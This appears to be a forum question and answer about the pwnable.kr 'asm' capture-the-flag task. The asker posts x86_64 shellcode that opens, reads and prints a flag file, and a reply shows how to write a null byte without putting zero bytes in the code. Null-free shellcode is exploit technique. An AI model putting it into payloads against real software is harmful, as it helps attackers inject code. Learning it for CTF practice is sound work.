Handling strings in shellcode

1.6k views Asked by At

I'm trying to solve a CTF task from pwnable.kr (toddlers bottle, asm) in which I have to write a "shellcode", which will open, read and write contents of file (containing the flag).

My code is as follows:

global _start

section .text

_start:
  jmp mesg
  shellcode:
    ; open
    pop rdi ; rdi points to file_name and trash
    xor rsi, rsi
    mov al, 2 ; sys_open
    syscall

    ; read
    mov rdi, rax
    xor rax, rax ; sys_read
    lea rsi, [rsp]
    mov dl, 0x20
    syscall

    ; write
    mov dl, al ; bytes read
    xor rax, rax
    mov al, 1 ; sys_write
    mov dil, 1 ; stdout
    lea rsi, [rsp]
    syscall

    ; crash
    xor ebx, ebx
    xor eax, eax
    div ebx

mesg:
  call shellcode
  db "this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong", 00
section .data

Dividing by 0 is there to stop execution and avoid looping with call shellcode

The long string is name of the file containing the flag.

I found the trick with poping address of string into a register here: Linux Shellcode "Hello, World!"

My problem is: the file name is not null terminated. Therefore, when sys_open is called the filename contains trash after actual string.

I tried doing someting like:

xor al, al
mov byte [rdi + 464], al

after popping into rdi to manually insert NULL, but I can't get rid of NULL from bytecode (the shellcode will be read from stdin, so that's a problem).

What is the best way to deal with this?

Architecture: x86_64

1

There are 1 answers

0
Jester On

Many ways to write 0 byte free code. One example:

xor eax, eax
mov al, 116
mov byte [rdi+rax*4],ah